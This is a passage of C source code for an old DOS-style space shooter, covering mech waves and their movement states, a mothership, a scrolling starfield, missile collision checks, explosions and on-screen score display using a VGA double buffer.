} // end if player done dying
} // end Animate_PDeath
///////////////////////////////////////////////////////////////////////////////
void Behind_PDeath(void)
{
int index;
// check if we should do this
if (player.state!=PLAYER_DYING) return;
// loop thru all particles and scan their backgrounds
for (index=0; index<NUM_DEATH_PARTICLES; index++)
{
pdeath[index].back = Get_Pixel_DB(pdeath[index].x,pdeath[index].y);
} // end for index
} // end Behind_PDeath
///////////////////////////////////////////////////////////////////////////////
void Draw_PDeath(void)
{
int index;
// check if we should do this
if (player.state!=PLAYER_DYING) return;
// loop thru all particles and draw them
for (index=0; index<NUM_DEATH_PARTICLES; index++)
{
Plot_Pixel_Fast_DB(pdeath[index].x,pdeath[index].y,pdeath[index].color);
} // end for index
} // end Draw_PDeath
//////////////////////////////////////////////////////////////////////////////
void Draw_Sprite_DBM(sprite_ptr sprite)
{
// this function draws a sprite on the screen row by row very quickly
// note the use of shifting to implement multplication
// also it is used as a special effect, the sprite drawn is melted by
// randomly selecting red pixels
char far *work_sprite;
int work_offset=0,offset,x,y;
unsigned char data;
// alias a pointer to sprite for ease of access
work_sprite = sprite->frames[sprite->curr_frame];
// compute offset of sprite in video buffer
offset = (sprite->y << 8) + (sprite->y << 6) + sprite->x;
for (y=0; y<sprite_height; y++)
{
// copy the next row into the double buffer using memcpy for speed
for (x=0; x<sprite_width; x++)
{
// test for transparent pixel i.e. 0, if not transparent then draw
if ((work_sprite[work_offset+x]))
double_buffer[offset+x] = RED_BASE+rand()%32;
} // end for x
// move to next line in double buffer and in sprite bitmap buffer
offset += SCREEN_WIDTH;
work_offset += sprite_width;
} // end for y
} // end Draw_Sprite_DBM
///////////////////////////////////////////////////////////////////////////////
unsigned char Get_Pixel_DB(int x,int y)
{
// gets the color value of pixel at (x,y) from the double buffer
return double_buffer[((y<<8) + (y<<6)) + x];
} // end Get_Pixel_DB
///////////////////////////////////////////////////////////////////////////////
void Blit_Char_G(int xc,int yc,char c,int color,int trans_flag)
{
// this function uses the rom 8x8 character set to blit a character to the
// double buffer, also it blits the character in two colors
int offset,x,y;
unsigned char data;
char far *work_char;
unsigned char bit_mask = 0x80;
// compute starting offset in rom character lookup table
work_char = rom_char_set + c * CHAR_HEIGHT;
// compute offset of character in video buffer
offset = (yc << 8) + (yc << 6) + xc;
for (y=0; y<CHAR_HEIGHT; y++)
{
// reset bit mask
bit_mask = 0x80;
// test if it's time to change colors
if (y==(CHAR_HEIGHT/2))
color-=8; // change to lower intensity
for (x=0; x<CHAR_WIDTH; x++)
{
// test for transparent pixel i.e. 0, if not transparent then draw
if ((*work_char & bit_mask))
video_buffer[offset+x] = color;
else
if (!trans_flag) // takes care of transparency
video_buffer[offset+x] = 0;
// shift bit mask
bit_mask = (bit_mask>>1);
} // end for x
// move to next line in video buffer and in rom character data area
offset += SCREEN_WIDTH;
work_char++;
} // end for y
} // end Blit_Char_G
//////////////////////////////////////////////////////////////////////////////
void Blit_String_G(int x,int y,int color, char *string,int trans_flag)
{
// this function blits an entire string to the double buffer
// It calls blit_char_g which is the gradient version of the character blitter
int index;
for (index=0; string[index]!=0; index++)
{
Blit_Char_G(x+(index<<3),y,string[index],color,trans_flag);
} /* end while */
} /* end Blit_String_G */
//////////////////////////////////////////////////////////////////////////////
void Blink_Lights(void)
{
// this function blinks the lights on the barriers
static int clock=0,
entered_yet=0;// used for timing, note: they are static!
static RGB_color color;
// this function blinks the running lights on the walkway
if (!entered_yet)
{
// reset the palette register 243 to light green
// black, black
color.red = 0;
color.green = 10;
color.blue = 0;
Set_Palette_Register(243,(RGB_color_ptr)&color);
// system has initialized, so flag it
entered_yet=1;
} // end if first time into function
// try and blick the lights, is it time
++clock;
if (clock==4)
{
// turn the lights on
color.green = 255;
Set_Palette_Register(243,(RGB_color_ptr)&color);
} // end if time to rotate
else
if (clock==8)
{
// turn the lights off
color.green = 0;
Set_Palette_Register(243,(RGB_color_ptr)&color);
clock=0;
} // end if time to blink
} // end Blink_Lights
///////////////////////////////////////////////////////////////////////////////
void Energize(void)
{
// this function is used to slowly materialize the mechs, it does this by
// drwing them in separate bitmaps that are of a single color that can
// be controlled
static RGB_color color_grey,
color_red,
color_green;
// test if this is start of sequence
if (energize_state==0)
{
// the grey robot
color_grey.red = 0;
color_grey.green = 0;
color_grey.blue = 0;
// the red robot
color_red.red = 0;
color_red.green = 0;
color_red.blue = 0;
// the grey robot
color_green.red = 0;
color_green.green = 0;
color_green.blue = 0;
// energizing has begun
energize_state = 1;
Set_Palette_Register(240,(RGB_color_ptr)&color_grey);
Set_Palette_Register(241,(RGB_color_ptr)&color_red);
Set_Palette_Register(242,(RGB_color_ptr)&color_green);
} // end if starting
else
if (rand()%2==1)
{
// update grey mechs
++color_grey.red;
++color_grey.green;
++color_grey.blue;
// update red mechs
++color_red.red;
// update green mechs
++color_green.green;
// update the palette registers
Set_Palette_Register(240,(RGB_color_ptr)&color_grey);
Set_Palette_Register(241,(RGB_color_ptr)&color_red);
Set_Palette_Register(242,(RGB_color_ptr)&color_green);
} // end if time to increment color intensity
} // end Energize
///////////////////////////////////////////////////////////////////////////////
void Start_Wave(void)
{
// this function is used to start a wave off
int x,y,mech_index=0,element, local_wave;
// reset number of mechs on this level
num_mechs=0;
// reset number of mechs killed
mechs_killed=0;
// select level
local_wave = wave_number;
// test to see if level is too high, if so choose randomly
if (local_wave>14)
{
// select wave randomly
local_wave = rand()%10 + 5;
// decrease the overall attack time of game now
attack_time=-10;
// test if we overflowed attack time
if (attack_time<100)
attack_time=100;
} // end if did the first 15 waves
// alias data structure for current wave
current_wave = waves[local_wave];
// loop and create mechs
for (x=0; x<PATTERN_X_SIZE; x++)
{
for (y=0; y<PATTERN_Y_SIZE; y++)
{
// extract element out of database
element = current_wave[PATTERN_X_SIZE*y + x];
// test if this is a live mech
if (element!=0)
{
// set fixed fields
mech_array[num_mechs].x = x * 32 + PATTERN_XO;
mech_array[num_mechs].y = y * 22 + PATTERN_YO;
mech_array[num_mechs].xv = 0;
mech_array[num_mechs].yv = 0;
mech_array[num_mechs].state_1 = MECH_ALIVE;
mech_array[num_mechs].state_2 = MECH_ENERGIZING;
mech_array[num_mechs].counter_1 = 0;
mech_array[num_mechs].counter_2 = 0;
mech_array[num_mechs].aux_1 = 0;
mech_array[num_mechs].aux_2 = 0;
mech_array[num_mechs].threshold_1 = 0;
mech_array[num_mechs].threshold_2 = 64;
mech_array[num_mechs].direction = 0;
mech_array[num_mechs].curr_frame = 9;
// set type field
mech_array[num_mechs].type = element;
// there is one more mech now
num_mechs++;
} // end if a live mech
} // end for y
} // end for x
// reset energizer colors
energize_state = 0;
// reset game clock
game_clock = 0;
// start things up
Energize();
// let's here some noise
if (player_ships>0)
Play_Sound(SOUND_READY);
} // end Start_Wave
///////////////////////////////////////////////////////////////////////////////
void Init_Mechs(void)
{
// this function is used to clear all the mechs and get them ready
int index;
for (index=0; index<MAX_NUMBER_MECHS; index++)
{
// zero out all the fields and allocate the memory
mech_array[index].type = 0;
mech_array[index].x = 0;
mech_array[index].y = 0;
mech_array[index].xv = 0;
mech_array[index].yv = 0;
mech_array[index].state_1 = 0;
mech_array[index].state_2 = 0;
mech_array[index].aux_1 = 0;
mech_array[index].aux_2 = 0;
mech_array[index].new_state = 0;
mech_array[index].counter_1 = 0;
mech_array[index].counter_2 = 0;
mech_array[index].threshold_1 = 0;
mech_array[index].threshold_2 = 0;
mech_array[index].direction = 0;
mech_array[index].curr_frame = 0;
mech_array[index].background =
(char far *)_fmalloc(sprite_width * sprite_height+1);
} // end index
} // end Init_Mechs
///////////////////////////////////////////////////////////////////////////////
void Delete_Mechs(void)
{
int index;
for (index=0; index<MAX_NUMBER_MECHS; index++)
{
_ffree(mech_array[index].background);
} // end for index
} // end Delete_Mechs
///////////////////////////////////////////////////////////////////////////////
void Move_Mechs(void)
{
// this is an extremely complex function is controls the mechs movement
// and their state machine transitions. currently only pattern mode and
// flock mode are implemented
int index, // loop variable
flock_switch=0, // has the flock switched direction
mech_killed_switch=0, // has there been a death
mdx=0, // the delta x
curr_direction; // current pattern direction
static int global_flock=MECH_RIGHT; // used to track the flock's direction
mech_ptr worker; // used as an alias to current mech
// loop process each mech
for (index=0; index<num_mechs; index++)
{
// alias current mech
worker = (mech_ptr)&mech_array[index];
// test state of mech
if (worker->state_1==MECH_ALIVE)
{
// this is the hard part, based on state perform proper logic
switch(worker->state_2)
{
case MECH_PATTERN: // process pattern mode
{
// test for start of state
if (worker->new_state)
{
// reset new state
worker->new_state=0;
// select a pattern and reset all vars
worker->aux_1 = rand()%NUM_PATTERNS;
// use counter 1 as index into pattern table
worker->counter_1 = 0;
worker->counter_2 = 0;
worker->threshold_2 = 2+rand()%3;
} // end if need to initialize state
// else must be continuing state
// access current direction
curr_direction = patterns[worker->aux_1][worker->counter_1];
// test if we are at end of sequence
if (curr_direction==-1)
{
worker->state_2 = MECH_FLOCK;
worker->new_state = 1;
break;
} // end if at end
// extract current frame of animation
worker->curr_frame = curr_direction;
// using current direction, compute velocity vector
worker->x+=dirs_x[curr_direction];
worker->y+=dirs_y[curr_direction];
// test if we went too far
if (worker->x > 300 )
{
worker->x = 0;
}
else
if (worker->x < 0)
{
worker->x = 300;
}
if (worker->y >= 120)
worker->y = 120;
else
if (worker->y < 0)
worker->y = 0;
// move to next element in pattern
if (++worker->counter_2 == worker->threshold_2)
{
worker->counter_2=0;
worker->counter_1++;
} // end if time to switch pattern element
// test if we want to fire a missile
if ( (worker->x > (player.x - 60)) &&
(worker->x < (player.x + 80)) &&
(curr_direction>=4) &&
(curr_direction<=6) &&
(rand()%10==1) )
{
// start missile with current trajectory
Start_Missile((sprite_ptr)worker,
worker->x+10,
worker->y+sprite_height,
dirs_x[curr_direction]*2,
dirs_y[curr_direction]*2,
0x27,
ENEMY_MISSILE);
} // end if fire missile
} break;
case MECH_ATTACK: // mech attack mode (not implemented)
{
// test for start of state
if (worker->new_state)
{
} // end if need to initialize state
// else must be continuing state
} break;
case MECH_RETREAT: // mech retreat mode (not implemented)
{
// test for start of state
if (worker->new_state)
{
} // end if need to initialize state
// else must be continuing state
} break;
case MECH_FLOCK: // mech flock mode
{
// test for start of state
if (worker->new_state)
{
// reset new state
worker->new_state=0;
// select a pattern and reset all vars
worker->counter_2 = 0;
worker->threshold_2 = 4;
worker->direction = global_flock;
} // end if need to initialize state
// motion
if (worker->direction==MECH_RIGHT)
{
// do translation
worker->x+=(worker->xv);
// test right boundary
if (worker->x > SCREEN_WIDTH-32)
flock_switch=1;
} // end if moving right
else
if (worker->direction==MECH_LEFT)
{
// do translation
worker->x-=(worker->xv);
// test left boundary
if (worker->x < 32-18)
flock_switch=1;
} // end if moving left
// animation
if (++worker->counter_2 == worker->threshold_2)
{
// reset counter
worker->counter_2 = 0;
if (++worker->curr_frame > 1)
worker->curr_frame=0;
} // end if time to change frames
// weapons
if ( (worker->x > (player.x - 50)) &&
(worker->x < (player.x + 70)) &&
(rand()%50==1) )
{
// compute trajectory
if (worker->x < player.x - 10)
mdx=+3;
else
if (worker->x > player.x + 30)
mdx=-3;
else
mdx=0;
// the the missile with computed trajectory velocity
Start_Missile((sprite_ptr)worker,
worker->x+10,
worker->y+sprite_height,
mdx,
6,
0x27,
ENEMY_MISSILE);
} // end if time to fire
// test if it's time to blow this coup!
if (game_clock>attack_time && rand()%100==1)
{
// switch state to pattern
worker->state_2 = MECH_PATTERN;
worker->new_state = 1;
if (rand()%5==1)
Play_Sound(SOUND_KILL);
} // end if time to switch to pattern state
} break;
case MECH_ROTATING: // not implemented
{
} break;
case MECH_ENERGIZING: // the initial start up state of mechs
{
// increment energizer time
worker->counter_2++;
// test if we are done energizing
if (worker->counter_2 < worker->threshold_2)
{
// continue energizing
} // end if still energizing
else
{
// need to move to flock state
worker->state_2 = MECH_FLOCK;
worker->xv = 2;
worker->counter_2 = 0;
worker->threshold_2 = 4;
worker->direction = MECH_RIGHT;
worker->curr_frame = 0;
// move out of energizing state
++energize_state;
} // end else move to flock state
} break;
default:break;
} // end switch state_2
} // end if alive
else
if (mech_array[index].state_1==MECH_DYING) // test if mech is dying
{
// one more frame of death
if (++worker->counter_1 > worker->threshold_1)
{
worker->state_1 = MECH_DEAD;
mechs_killed++;
mech_killed_switch=1;
// were getting killed, let's get more agressive!
game_clock+=25;
} // end if done dying
} // end if alive
} // end for index
// processed all mechs now do any global updates
// test if we need to flip the whole crew around
if (flock_switch==1)
{
// loop thru all mechs
for (index=0; index<num_mechs; index++)
{
// alias pointer to current mech
worker = (mech_ptr)&mech_array[index];
// test if mech is alive and flocking
if (worker->state_1 == MECH_ALIVE &&
worker->state_2 == MECH_FLOCK )
{
// switch directions
if (worker->direction==MECH_RIGHT)
{
global_flock = MECH_LEFT;
worker->direction=MECH_LEFT;
}
else // else must be right
{
global_flock = MECH_RIGHT;
worker->direction=MECH_RIGHT;
}
} // end if alive
} // end for index global
} // end if global change
// test if someone has been killed
if (mech_killed_switch==1)
{
// loop thru them all
for (index=0; index<num_mechs; index++)
{
// alias for speed
worker = (mech_ptr)&mech_array[index];
// if it was a flocker then crank up velocity and move down a little
if (worker->state_1 == MECH_ALIVE &&
worker->state_2 == MECH_FLOCK )
{
// increase acceleration
if (++worker->xv > 6)
worker->xv=6;
// move them down a little
worker->y+=2;
} // end if alive
} // end for index global
} // end if global change
// test if mechs are energizing, if so call energizing function to
// perform special fX
if (energize_state==1)
Energize();
} // end Move_Mechs
///////////////////////////////////////////////////////////////////////////////
void Erase_Mechs(void)
{
// this function erases all the mechs
int index;
// loop thru all mechs
for (index=0; index<num_mechs; index++)
{
// based on type of mech use proper animation frames
// test if mech is alive
if (mech_array[index].state_1 != MECH_DEAD)
{
// need to know which mech type so correct bitmaps can be used
switch(mech_array[index].type)
{
case MECH_1: // type one mech
{
robot_1.x = mech_array[index].x;
robot_1.y = mech_array[index].y;
robot_1.background = mech_array[index].background;
Erase_Sprite_DB((sprite_ptr)&robot_1);
} break;
case MECH_2: // type two mech
{
robot_2.x = mech_array[index].x;
robot_2.y = mech_array[index].y;
robot_2.background = mech_array[index].background;
Erase_Sprite_DB((sprite_ptr)&robot_2);
} break;
case MECH_3: // type three mech
{
robot_3.x = mech_array[index].x;
robot_3.y = mech_array[index].y;
robot_3.background = mech_array[index].background;
Erase_Sprite_DB((sprite_ptr)&robot_3);
} break;
default:break;
} // end switch
} // end if mech dead
} // end for index
} // end Erase_Mechs
///////////////////////////////////////////////////////////////////////////////
void Draw_Mechs(void)
{
// this function draws the mechs
int index;
// process each mech
for (index=0; index<num_mechs; index++)
{
// test if mech is alive
if (mech_array[index].state_1 != MECH_DEAD)
{
switch(mech_array[index].type)
{
case MECH_1: // type one mech
{
robot_1.x = mech_array[index].x;
robot_1.y = mech_array[index].y;
robot_1.curr_frame = mech_array[index].curr_frame;
// test if we should use dying blitter
if (mech_array[index].state_1==MECH_ALIVE)
Draw_Sprite_DB((sprite_ptr)&robot_1);
else // use melter draw
Draw_Sprite_DBM((sprite_ptr)&robot_1);
} break;
case MECH_2: // type two mech
{
robot_2.x = mech_array[index].x;
robot_2.y = mech_array[index].y;
robot_2.curr_frame = mech_array[index].curr_frame;
// test if we should use dying blitter
if (mech_array[index].state_1==MECH_ALIVE)
Draw_Sprite_DB((sprite_ptr)&robot_2);
else // use melter draw
Draw_Sprite_DBM((sprite_ptr)&robot_2);
} break;
case MECH_3: // type three mech
{
robot_3.x = mech_array[index].x;
robot_3.y = mech_array[index].y;
robot_3.curr_frame = mech_array[index].curr_frame;
// test if we should use dying blitter
if (mech_array[index].state_1==MECH_ALIVE)
Draw_Sprite_DB((sprite_ptr)&robot_3);
else // use melter draw
Draw_Sprite_DBM((sprite_ptr)&robot_3);
} break;
default:break;
} // end switch
} // end if mech dead
} // end for index
} // end Draw_Mechs
//////////////////////////////////////////////////////////////////////////////
void Behind_Mechs(void)
{
// this function scans the background under the mechs
int index;
// loop and process all mechs
for (index=0; index<num_mechs; index++)
{
// test if mech is alive
if (mech_array[index].state_1 != MECH_DEAD)
{
switch(mech_array[index].type)
{
case MECH_1: // type one mech
{
robot_1.x = mech_array[index].x;
robot_1.y = mech_array[index].y;
robot_1.background = mech_array[index].background;
Behind_Sprite_DB((sprite_ptr)&robot_1);
} break;
case MECH_2: // type two mech
{
robot_2.x = mech_array[index].x;
robot_2.y = mech_array[index].y;
robot_2.background = mech_array[index].background;
Behind_Sprite_DB((sprite_ptr)&robot_2);
} break;
case MECH_3: // type three mech
{
robot_3.x = mech_array[index].x;
robot_3.y = mech_array[index].y;
robot_3.background = mech_array[index].background;
Behind_Sprite_DB((sprite_ptr)&robot_3);
} break;
default:break;
} // end switch
} // end if mech dead
} // end for index
} // end Behind_Mechs
//////////////////////////////////////////////////////////////////////////////
void Control_Mother(void)
{
// this function controls the mother ship
if (mother.state == MOTHER_DEAD && rand()%500==1)
{
// turn on the mother ship
mother.state = MOTHER_ALIVE;
// select a random direction
switch(rand()%2)
{
case 0: // right
{
mother.curr_frame = MOTHER_RIGHT;
mother.motion_speed = 4+rand()%2;
mother.x = 0;
mother.y = 12+rand()%16;
} break;
case 1: // left
{
mother.curr_frame = MOTHER_LEFT;
mother.motion_speed = -(4+rand()%2);
mother.x = SCREEN_WIDTH-20;
mother.y = 12+rand()%16;
} break;
default:break;
} // end switch
Behind_Sprite_DB((sprite_ptr)&mother);
} // end if start mother up
} // end Control_Mother
///////////////////////////////////////////////////////////////////////////////
void Move_Mother(void)
{
// this moves the mother ship if it is alive
if (mother.state == MOTHER_ALIVE)
{
// move x at a constant speed
mother.x+=mother.motion_speed;
// modulate the y position by a cosine wave
mother.y+=cos_look[mother.x];
// do boundary collisions
if (mother.y<0) mother.y=0;
if (mother.x > SCREEN_WIDTH-20 || mother.x < 0)
mother.state = MOTHER_DEAD;
} // end if alive
} // end Move_Mother
//////////////////////////////////////////////////////////////////////////////
void Erase_Mother(void)
{
// this function erases the mother ship
if (mother.state == MOTHER_ALIVE)
{
Erase_Sprite_DB((sprite_ptr)&mother);
} // end if alive
} // end Erase_Mother
//////////////////////////////////////////////////////////////////////////////
void Behind_Mother(void)
{
// this function scans the background under the mothership
if (mother.state == MOTHER_ALIVE)
{
Behind_Sprite_DB((sprite_ptr)&mother);
} // end if alive
} // end Behind_Mother
//////////////////////////////////////////////////////////////////////////////
void Draw_Mother(void)
{
// this function draws the mothership
if (mother.state == MOTHER_ALIVE)
{
Draw_Sprite_DB((sprite_ptr)&mother);
} // end if alive
} // end Draw_Mother
//////////////////////////////////////////////////////////////////////////////
void Init_Stars(void)
{
// this function will initialize the star field
int index;
// for each star choose a position, plane and color
for (index=0; index<NUM_STARS; index++)
{
// initialize each star to a velocity, position and color
stars[index].x = rand()%320;
stars[index].y = rand()%180;
// decide what star plane the star is in
switch(rand()%3)
{
case 0: // plane 1- the farthest star plane
{
// set velocity and color
stars[index].plane = 1;
stars[index].color = 8;
} break;
case 1: // plane 2-The medium distance star plane
{
stars[index].plane = 2;
stars[index].color = 7;
} break;
case 2: // plane 3-The nearest star plane
{
stars[index].plane = 3;
stars[index].color = 15;
} break;
} // end switch
} // end for index
} // end Init_Stars
////////////////////////////////////////////////////////////////////////////////
void Move_Stars(void)
{
int index;
// move the star fields
for (index=0; index<NUM_STARS; index++)
{
// move the star and test for off screen condition
// each star is in a different plane so test which plane star is
// in so that proper velocity may be used
switch(stars[index].plane)
{
case PLANE_1: // the slowest plane
{
stars[index].y+=velocity_1;
} break;
case PLANE_2: // the medium speed plane
{
stars[index].y+=velocity_2;
} break;
case PLANE_3: // the fastest plane (near)
{
stars[index].y+=velocity_3;
} break;
} // end switch
// test if star went off screen
if (stars[index].y > 179 )
stars[index].y=(stars[index].y-180); // wrap around
else
if (stars[index].y < 0) // off left edge?
stars[index].y = (180+stars[index].y); // wrap around
} // end for index
} // end Move_Stars
////////////////////////////////////////////////////////////////////////////////
void Behind_Stars(void)
{
// this function scans the background under the stars
int index;
for (index=0; index<NUM_STARS; index++)
{
stars[index].back = Get_Pixel_DB(stars[index].x,stars[index].y);
} // end for index
} // end Behind_Stars
////////////////////////////////////////////////////////////////////////////////
void Draw_Stars(void)
{
// this function draws the stars
int index;
for (index=0; index<NUM_STARS; index++)
{
Plot_Pixel_Fast_DB(stars[index].x,stars[index].y,stars[index].color);
} // end for index
} // end Draw_Stars
////////////////////////////////////////////////////////////////////////////////
void Erase_Stars(void)
{
// this function erases the stars
int index;
for (index=0; index<NUM_STARS; index++)
{
Plot_Pixel_Fast_DB(stars[index].x,stars[index].y,stars[index].back);
} // end for index
} // end Erase_Stars
//////////////////////////////////////////////////////////////////////////////
void Erase_Missiles(void)
{
// this function indexes through all the missiles and if they are active
// erases them by replacing the background color that was under them
int index;
for (index=0; index<NUM_MISSILES; index++)
{
// is this missile active
if (missiles[index].state == MISS_ALIVE)
{
Plot_Pixel_Fast_DB(missiles[index].x,missiles[index].y,missiles[index].back);
Plot_Pixel_Fast_DB(missiles[index].x,missiles[index].y+1,missiles[index].back);
Plot_Pixel_Fast_DB(missiles[index].x+1,missiles[index].y,missiles[index].back);
Plot_Pixel_Fast_DB(missiles[index].x+1,missiles[index].y+1,missiles[index].back);
} // end if alive
} // end for index
} // end Erase_Missiles
/////////////////////////////////////////////////////////////////////////////
void Behind_Missiles(void)
{
// this function indexes through all the missiles and if they are active
// scans the background color that is behind them so it can be replaced later
int index;
for (index=0; index<NUM_MISSILES; index++)
{
// is this missile active
if (missiles[index].state == MISS_ALIVE)
{
missiles[index].back = Get_Pixel_DB(missiles[index].x,missiles[index].y);
} // end if alive
} // end for index
} // end Behind_Missiles
/////////////////////////////////////////////////////////////////////////////
void Draw_Missiles(void)
{
// this function indexes through all the missiles and if they are active
// draws the missile as a bright white pixel on the screen
int index;
for (index=0; index<NUM_MISSILES; index++)
{
// is this missile active
if (missiles[index].state == MISS_ALIVE)
{
Plot_Pixel_Fast_DB(missiles[index].x,missiles[index].y,missiles[index].color);
Plot_Pixel_Fast_DB(missiles[index].x,missiles[index].y,missiles[index].color);
Plot_Pixel_Fast_DB(missiles[index].x+1,missiles[index].y+1,missiles[index].color);
Plot_Pixel_Fast_DB(missiles[index].x+1,missiles[index].y+1,missiles[index].color);
} // end if alive
} // end for index
} // end Draw_Missiles
/////////////////////////////////////////////////////////////////////////////
void Move_Missiles(void)
{
// this function moves the missiles and does all the collision detection
int index, // used for loops
index2,
index_3,
pixel_y, // used during barrier collsion scan
delta_x, // used to help test for bouding box collisions
delta_y,
miss_x, // position of missile
miss_y,
creature_hit=0; // flag to jump out of loop when a creature has been hit
unsigned char pixel; // pixel extracted from screen used to test for barrier
// collisions
mech_ptr worker; // the current mech being processed
// loop thru all missiles and perform a lot of tests
for (index=0; index<NUM_MISSILES; index++)
{
// is missile active
if (missiles[index].state == MISS_ALIVE)
{
// move the missile
miss_x = (missiles[index].x += missiles[index].xv);
miss_y = (missiles[index].y += missiles[index].yv);
// test if it's hit the edge of the screen or a wall
if ( (miss_x >= SCREEN_WIDTH) || (miss_x <= 0) ||
(miss_y > (SCREEN_HEIGHT-16)) || ( miss_y <=0) )
{
missiles[index].state = MISS_DEAD;
continue;
} // end if off edge of screen
// test for player->creature collisions
else
if (mother.state == MOTHER_ALIVE && missiles[index].tag==PLAYER_MISSILE)
{
delta_x = miss_x - mother.x;
delta_y = miss_y - mother.y;
// test the bounding box
if ( (delta_x >= 0 && delta_x <=sprite_width) &&
(delta_y >= 0 && delta_y <=sprite_height))
{
// kill missile
missiles[index].state = MISS_DEAD;
// kill mother
mother.state = MOTHER_DEAD;
// start explosion
Start_Explosion(mother.x+10, mother.y+10,1);
// give the player some points
player_score+=500;
// this missile is done so move to next missile
continue;
} // end if a hit
} // end if mother alive
// test if missiles hit a creature
creature_hit = 0; // reset this flag
// make sure missole is players
if (missiles[index].tag==PLAYER_MISSILE)
{
// this missile is from player do test it against all mechs
for (index_3=0; index_3<num_mechs && !creature_hit; index_3++)
{
// extract the working mech
worker=(mech_ptr)&mech_array[index_3];
// test if the mech is a live and it isn't energizing
if (worker->state_1==MECH_ALIVE && energize_state>1)
{
// compute deltas
delta_x = miss_x - worker->x;
delta_y = miss_y - worker->y;
// test for collision
if ( (delta_x >= 0 && delta_x <=sprite_width) &&
(delta_y >= 0 && delta_y <=sprite_height))
{
// kill missile
missiles[index].state = MISS_DEAD;
// kill mech
worker->state_1 = MECH_DYING;
worker->counter_1 = 0;
worker->threshold_1 = 8;
creature_hit=1;
Play_Sound(SOUND_EXPL3);
// start explosion
player_score+=50;
} // end if a hit
} // end if worth testing
} // end for index_3
} // end if missile was from player
// if there was a hit no need to go any further, next itteration
if (creature_hit)
continue;
// test for creature->player collisions
if (player.state == PLAYER_ALIVE && missiles[index].tag==ENEMY_MISSILE)
{
// compute deltas
delta_x = miss_x - player.x;
delta_y = miss_y - player.y;
// test for collision
if ( (delta_x >= 0 && delta_x <=sprite_width) &&
(delta_y >= 0 && delta_y <=sprite_height))
{
// reset state of player to dying
player.state = PLAYER_DYING;
player.anim_clock = 0;
// decrease number of ships
player_ships--;
// kill missile
missiles[index].state = MISS_DEAD;
// start the players death
Start_PDeath();
} // end if player hit
} // end if player is alive to be hit
// test for barrier collisions by scanning the pixels in the near vicinity
// to the torpedo
for (pixel_y=miss_y; pixel_y<miss_y+8; pixel_y++)
{
pixel=Get_Pixel_DB(miss_x, pixel_y);
if (pixel>=BARRIER_START_COLOR && pixel<=BARRIER_END_COLOR)
{
// kill missile
missiles[index].state = MISS_DEAD;
// start explosion
Start_Explosion(miss_x, pixel_y,1);
// smash barrier a bit
for (index2=0; index2<25; index2++)
{
Plot_Pixel_Fast_DB(miss_x-4+rand()%8, pixel_y-4+rand()%8, 0);
} // end for
break;
} // end if barrier hit
} // end for pixel_y
} // end if missile alive
} // end for index
} // end Move_Missiles
/////////////////////////////////////////////////////////////////////////////
void Start_Missile(sprite_ptr who,
int x,
int y,
int xv,
int yv,
int color,
int tag)
{
// this function scans through the missile array and tries to find one that
// isn't being used. this function could be more efficient.
int index;
// scan for a useable missle
for (index=0; index<NUM_MISSILES; index++)
{
// is this missile free?
if (missiles[index].state == MISS_DEAD)
{
// set up fields
missiles[index].state = MISS_ALIVE;
missiles[index].x = x;
missiles[index].y = y;
missiles[index].xv = xv;
missiles[index].yv = yv;
missiles[index].color = color;
missiles[index].back = Get_Pixel_DB(x,y);
missiles[index].tag = tag;
break; // exit loop
} // end if found a good one
} // end for index
} // end Start_Missile
/////////////////////////////////////////////////////////////////////////////
void Init_Missiles(void)
{
// this function just makes sure all the "state" fields of the missiles are
// dead so that we don't get any strays on start up. Remember never assume
// that variables are zeroed on instantiation!
int index;
for (index=0; index<NUM_MISSILES; index++)
missiles[index].state = MISS_DEAD;
} // Init_Missiles
////////////////////////////////////////////////////////////////////////////
void Start_Explosion(int x,int y,int speed)
{
// this function stars a generic explosion
int index;
// scan for a useable explosion
for (index=0; index<NUM_EXPLOSIONS; index++)
{
if (explosions[index].state == EXPLOSION_DEAD)
{
// set up fields
explosions[index].state = EXPLOSION_ALIVE;
explosions[index].x = x-10;
explosions[index].y = y-10;
explosions[index].curr_frame = 0;
explosions[index].anim_speed = speed;
explosions[index].anim_clock = 0;
// scan background to be safe
Behind_Sprite_DB((sprite_ptr)&explosions[index]);
// make sound
Play_Sound(SOUND_EXPL2);
break; // exit loop
} // end if found a good one
} // end for index
} // end Start_Explosion
/////////////////////////////////////////////////////////////////////////////
void Behind_Explosions(void)
{
// this function scans under the explosions
int index;
// scan for a running explosions
for (index=0; index<NUM_EXPLOSIONS; index++)
{
if (explosions[index].state == EXPLOSION_ALIVE)
{
Behind_Sprite_DB((sprite_ptr)&explosions[index]);
} // end if found a good one
} // end for index
} // end Behind_Explosions
/////////////////////////////////////////////////////////////////////////////
void Erase_Explosions(void)
{
// this function erases all the current explosions
int index;
// scan for a useable explosion
for (index=0; index<NUM_EXPLOSIONS; index++)
{
if (explosions[index].state == EXPLOSION_ALIVE)
{
Erase_Sprite_DB((sprite_ptr)&explosions[index]);
} // end if found a good one
} // end for index
} // end Erase_Explosions
/////////////////////////////////////////////////////////////////////////////
void Draw_Explosions(void)
{
// this function draws the explosion
int index;
// scan for a useable explosion
for (index=0; index<NUM_EXPLOSIONS; index++)
{
// make sure this explosion is alive
if (explosions[index].state == EXPLOSION_ALIVE)
{
Draw_Sprite_DB((sprite_ptr)&explosions[index]);
} // end if found a good one
} // end for index
} // end Draw_Explosions
/////////////////////////////////////////////////////////////////////////////
void Animate_Explosions(void)
{
// this function steps the explosion thru the frames of animation
int index;
// scan for a useable explosion
for (index=0; index<NUM_EXPLOSIONS; index++)
{
// test if explosion is alive
if (explosions[index].state == EXPLOSION_ALIVE)
{
// test if it's time to change frames
if (++explosions[index].anim_clock == explosions[index].anim_speed)
{
// is the explosion over?
if (++explosions[index].curr_frame == 6)
explosions[index].state = EXPLOSION_DEAD;
// reset animation clock for future
explosions[index].anim_clock = 0;
} // end if time ti change frames
} // end if found a good one
} // end for index
} // end Animate_Explosions
//////////////////////////////////////////////////////////////////////////////
void Init_Explosions(void)
{
// reset all explosions
int index;
for (index=0; index<NUM_EXPLOSIONS; index++)
explosions[index].state = EXPLOSION_DEAD;
} // Init_Explosions
////////////////////////////////////////////////////////////////////////////
void Display_Instruments(void)
{
// this function draws all the information on the control panel
char buffer[128];
// show the ships
sprintf(buffer,"%ld ",player_ships);
Blit_String_DB(42,189,10,buffer,0);
// show the score
sprintf(buffer,"%ld",player_score);
Blit_String_DB(142,189,10,buffer,0);
// show the energy
if (player_energy>=0)
{
sprintf(buffer,"%ld ",player_energy);
Blit_String_DB(276,189,10,buffer,0);
}
else
Blit_String_DB(276,189,12,"CHRG",0);
} // end Display_Instruments
///////////////////////////////////////////////////////////////////////////
